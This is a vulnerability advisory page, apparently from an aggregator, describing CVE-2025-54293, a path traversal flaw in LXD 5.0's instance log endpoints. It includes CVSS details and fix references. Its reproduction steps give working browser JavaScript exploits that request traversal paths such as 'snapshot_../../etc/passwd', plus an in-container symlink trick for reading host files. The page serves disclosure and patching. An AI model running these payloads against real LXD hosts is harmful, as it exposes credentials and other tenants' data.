Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function
Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.
This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.
However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.
Implementation in vulnerable versions (LXD 5.0 LTS series):
https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163
This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:
Implementation in fixed versions (LXD 5.21 and later):
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835
This function ensures that filenames do not contain /, \, or .. .
Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't
succeed.
However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.
Related part of instanceLogGet function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269
Related part of instanceLogDelete function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347
In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.
All reproduction steps for this finding must be performed on LXD 5.0.
1. Log in with an account having access to LXD-UI
2. Open browser DevTools and execute the following JavaScript to attempt path traversal
attack:
```js
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
```
A similar issue also exists in the validExecOutputFileName function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688
For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified.
However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.
1. Open terminal in instance using LXD-UI and create symbolic link:
```
ln -s /etc/passwd exec_XXX-symlink.stdout
```
2. Execute the following JavaScript in browser DevTools to read files via symbolic link:
```js
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();
```
This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.
This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.
This could lead to leakage of the following information:
- LXD host configuration files (/etc/passwd, /etc/shadow, etc.)
- LXD database files (containing information about all projects and instances)
- Configuration files and data of other instances
- S
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVE-2025-54293 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
CVE-2025-54293 is recorded against 2 packages.
Published on 5 November 2025 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
github.com (Fix)
github.com/canonical/lxd has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/canonical/lxd | — | — |
| lxd | 6.0 | 6.5 |
References
Similar Threats
Site Security Check
CVE-2025-54293 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.